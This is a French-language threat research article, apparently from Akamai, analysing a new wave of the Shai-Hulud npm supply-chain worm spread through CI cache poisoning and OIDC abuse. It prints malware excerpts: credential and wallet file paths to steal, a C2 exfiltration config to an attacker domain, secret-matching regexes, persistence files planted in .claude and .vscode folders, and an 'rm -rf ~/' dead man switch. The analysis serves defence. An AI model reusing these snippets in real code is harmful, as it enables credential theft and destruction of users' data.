Le groupe Security Intelligence d'Akamai a identifié une nouvelle vague de la campagne d'attaque de la chaîne d'approvisionnement Shai-Hulud qui touche l'écosystème npm. Les clients Akamai Hunt concernés ont déjà reçu une cartographie détaillée des actifs vulnérables, accompagnée de recommandations exploitables en matière de segmentation et de remédiation.
Points à retenir
Le 11 mai 2026, une nouvelle vague de la campagne d'attaque de la chaîne d'approvisionnement Shai-Hulud a frappé l'écosystème npm, via la publication de versions malveillantes de packages dans l'arborescence de dépendances TanStack.
L'attaque a été menée en détournant le flux de publication légitime au moyen d'une attaque par empoisonnement du cache d'intégration continue (CI) et de l'exploitation du point de publication OpenID Connect (OIDC) de npm.
La campagne s'est rapidement étendue au-delà de TanStack, à d'autres packages npm liés notamment à Mistral AI, UiPath et OpenSearch.
Le lendemain, de nouveaux dépôts GitHub semblaient héberger le code source du ver malveillant Shai-Hulud.
Dans cet article, nous analysons ce logiciel malveillant récemment rendu public, étudions les différences entre cette vague et les précédentes, et proposons des recommandations de remédiation pour les mainteneurs de dépôt et les entreprises.
Le 11 mai 2026, le groupe TeamPCP a poursuivi sa campagne d'attaque de la chaîne d'approvisionnement en introduisant une nouvelle charge utile, sous la forme d'une variante du ver shai‑hulud. Dans un précédent article consacré au même sujet, nous avions souligné que le groupe de ransomware Vect avait annoncé un partenariat avec TeamPCP, ce qui suggérait un passage du vol d'identifiants à des opérations d'extorsion et de ransomware à grande échelle.
Cette nouvelle campagne constitue le premier signe concret que ce basculement est peut-être déjà en train de s'opérer.
Les premières vagues du ver Shai-Hulud
Le ver Shai-Hulud est apparu pour la première fois en septembre 2025. Son fonctionnement était simple : voler un jeton de publication npm, lister tous les packages auxquels ce jeton donne accès, injecter du code malveillant, puis republier les packages.
Shai-Hulud est ensuite resté actif jusqu'à fin 2025, avec d'autres apparitions en novembre et décembre intégrant des fonctionnalités améliorées d'effacement des données.
Une nouvelle approche : empoisonnement CI et abus d'OIDC
Toutes les vagues précédentes commençaient par le vol d'un identifiant. Celle-ci fait exception.
Le groupe de cybercriminels TeamPCP, responsable de la compromission de Trivy en mars 2026 ainsi que de plusieurs opérations ultérieures, a revendiqué être à l'origine de cette nouvelle vague d'attaques, qu'il appelle Mini Shai-Hulud.
Pour cette dernière, les attaquants ont exploité une mauvaise configuration du processus de demande de tirage (pull request) dans l'environnement CI GitHub Actions de TanStack. Une pull request provenant d'une duplication (fork) a déclenché un flux de travail qui disposait de droits d'écriture sur le cache du dépôt principal. Le code de l'attaquant a empoisonné ce cache, puis est resté en attente.
Huit heures plus tard, la fusion effectuée par un mainteneur légitime a déclenché le flux de travail de publication standard, qui a récupéré le cache empoisonné et exécuté le code malveillant de l'attaquant.
Exfiltration automatisée de jetons GitHub Actions
Le ver de l'attaquant a ensuite extrait des jetons directement depuis la mémoire du runner GitHub Actions, puis les a échangés contre des identifiants de publication npm via le point d'échange de jetons de npm lui-même. Aucun jeton npm n'a été « volé » explicitement et le flux de travail de publication ne semble pas avoir été compromis, ce qui a rendu l'attaque invisible et lui a permis d'obtenir la validation d'attestation SLSA.
Autre évolution majeure : la charge utile crée désormais un démon en arrière-plan qui utilise le jeton volé lors de l'accès initial. Si ce jeton est révoqué, le démon supprime immédiatement l'intégralité du répertoire personnel de la victime.
Vecteurs de persistance dans les applications de développement
La persistance du logiciel malveillant a également été étendue pour inclure des hooks de session Claude Code et l'automatisation des tâches dans VS Code, qui survivent à une opération de « npm uninstall ».
Le ver en lui-même n'a pas changé : une fois qu'il a obtenu des identifiants valides, il recense tous les packages qu'il identifie et tente de s'y injecter.
Publication du ver
Le soir du 12 mai 2026, le code complet du ver entièrement opérationnel a été rendu public. Même si nous ne pouvons pas affirmer avec certitude qu'il s'agit du même logiciel malveillant qui a frappé TanStack, la charge malveillante complète est désormais accessible à tous.
Analyse du logiciel malveillant : boucle principale
La boucle principale du ver est relativement réduite. Elle ne comporte qu'un nombre limité de phases, mais chacune d'elles a fait l'objet d'une attention minutieuse.
Phase 0 : vérifications préliminaires
Phase 1 : gains rapides
Phase 2 : communication avec l'infrastructure de commande et contrôle (C2)
Phase 3 : collecte des identifiants des plateformes
Phase 4 : propagation continue
La boucle principale se présente globalement comme suit :
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize()
Phase 0 : vérifications préliminaires
Le logiciel malveillant commence par vérifier s'il s'exécute dans le contexte du package opensearch-js. Si c'est le cas, il tente d'injecter une porte dérobée dans le package, de déclencher son client OIDC, de dérober immédiatement des identifiants et de falsifier sa signature SLSA.
Ensuite, le logiciel malveillant vérifie si la langue du système est définie sur le russe. Si c'est le cas, il met fin à son exécution.
Il termine ses vérifications préliminaires en s'assurant qu'il est la seule instance en cours d'exécution, en confirmant qu'il opère dans un environnement CI/CD et en empêchant toute interruption via les signaux SIGINT ou SIGTERM.
Phase 1 : gains rapides
Au cours de cette phase, le logiciel malveillant tente de collecter rapidement le plus grand nombre possible d'identifiants depuis le point de terminaison. Pour ce faire, il lit plus de 1 000 emplacements connus de stockage d'identifiants, tente d'exécuter la commande gh auth token et capture process.env afin d'extraire des identifiants à partir des variables d'environnement.
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),
Phase 2 : communication avec l'infrastructure de commande et contrôle (C2)
Le ver établit ensuite une communication C2 avec son serveur principal :
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};
À l'aide de sa fonction principale de répartition (dispatcher), le ver chiffre toutes les données dérobées avec une clé publique RSA codée en dur avant leur transmission. Ainsi, seul l'attaquant peut lire les données exfiltrées. Le code invite également les futurs opérateurs à remplacer cette clé.
Le logiciel malveillant tente d'abord d'établir une connexion avec son serveur C2 principal. Si cette communication est bloquée, il se replie sur une autre méthode consistant à créer un nouveau dépôt GitHub au nom de la victime et à y envoyer (commit) les données chiffrées. L'attaquant peut ensuite suivre ces dépôts sur GitHub grâce à leur description distinctive.
Dès lors que les données chiffrées atteignent 100 Ko, l'exfiltration commence.
Phase 3 : collecte des identifiants des plateformes
Une fois la phase d'initialisation terminée, le logiciel malveillant passe à une collecte plus agressive des identifiants issus de plateformes telles qu'AWS, Kubernetes, GitHub, etc.
Par exemple, dans les environnements Kubernetes, le ver tente de parcourir de nombreux emplacements et secrets différents en utilisant des expressions régulières :
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
Dans le cadre de la collecte liée à AWS, le ver explore notamment les emplacements suivants :
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache.*
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
Une fois la collecte terminée, le logiciel malveillant envoie les données récupérées via son canal C2 et poursuit sa propagation vers d'autres dépôts.
Indépendamment des frameworks, le logiciel malveillant présente également un comportement notable : il recherche également des portefeuilles Bitcoin, en ciblant spécifiquement le fichier ~/.bitcoin/wallet.dat.
Phase 4 : propagation continue
Pour se propager davantage, le ver utilise chaque jeton GitHub valide qu'il trouve afin de créer un flux de travail qui vole d'autres secrets et prolonge la chaîne d'infection.
Si aucun jeton de flux de travail n'est repéré, le ver se propage en parcourant chaque branche GitHub qu'il découvre et en y insérant des fichiers malveillants, notamment un module de chargement (loader) et le binaire du ver, dans des dossiers liés aux agents d'IA comme .claude et .vscode :
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};
Si le ver détecte des jetons NPM, il lance son NPMClient et copie le logiciel malveillant dans packages/opensearch_init.js.
Le logiciel malveillant utilise un mécanisme de propagation similaire pour les jetons OIDC.
Analyse du logiciel malveillant : le « dead man switch »
Outre la boucle principale, l'un des composants les plus marquants de ce logiciel malveillant est son mécanisme de sécurité, le « dead man switch » (dispositif homme mort). Toutes les 60 secondes, le logiciel malveillant vérifie si les jetons ont été renouvelés. Si c'est le cas, le ver tente de supprimer les fichiers de la machine :
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
Bien que plusieurs autres aspects et couches de code n'aient pas été abordés ici, nous estimons que le comportement décrit est suffisant pour illustrer le niveau de sophistication et les intentions des attaquants.
Détection et prévention
Pour assurer la protection de votre entreprise, nous vous recommandons de consulter immédiatement un expert en sécurité et de prendre les mesures suivantes :
Rétrograder les packages infectés vers des versions sûres
Réduire le périmètre d'impact des hôtes affectés grâce à la segmentation du réseau
Perspectives
Cette campagne marque une nouvelle escalade dans les opérations en cours de TeamPCP. Depuis huit mois, le groupe mène une campagne de vol d'identifiants méthodique et techniquement sophistiquée, axée sur la collecte d'informations sensibles, l'exploitation abusive des flux de développement et l'extension des accès au sein des environnements de la chaîne d'approvisionnement logicielle.
Cette dernière variante témoigne d'un investissement continu dans l'automatisation, la collecte d'identifiants et la propagation à travers les dépôts, les packages et les outils de développement. Cette campagne intervient également à un moment notable, à savoir après l'annonce du partenariat entre TeamPCP et Vect.
Maintenant que le ver a été rendu public et que la chaîne d'outils est accessible à d'autres opérateurs, le risque ne se limite plus à TeamPCP. Ces techniques peuvent désormais être étudiées, adaptées et réutilisées par d'autres acteurs malveillants.
Restez à l'écoute
Le groupe Security Intelligence d'Akamai continuera de surveiller, générer des rapports et créer des mesures d'atténuation des menaces telles que celles-ci pour nos clients et la communauté de sécurité dans son ensemble. Pour rester au fait des dernières actualités du groupe Security Intelligence d'Akamai, consultez notre page d'accueil de recherche et suivez-nous sur les réseaux sociaux.
Mots-clés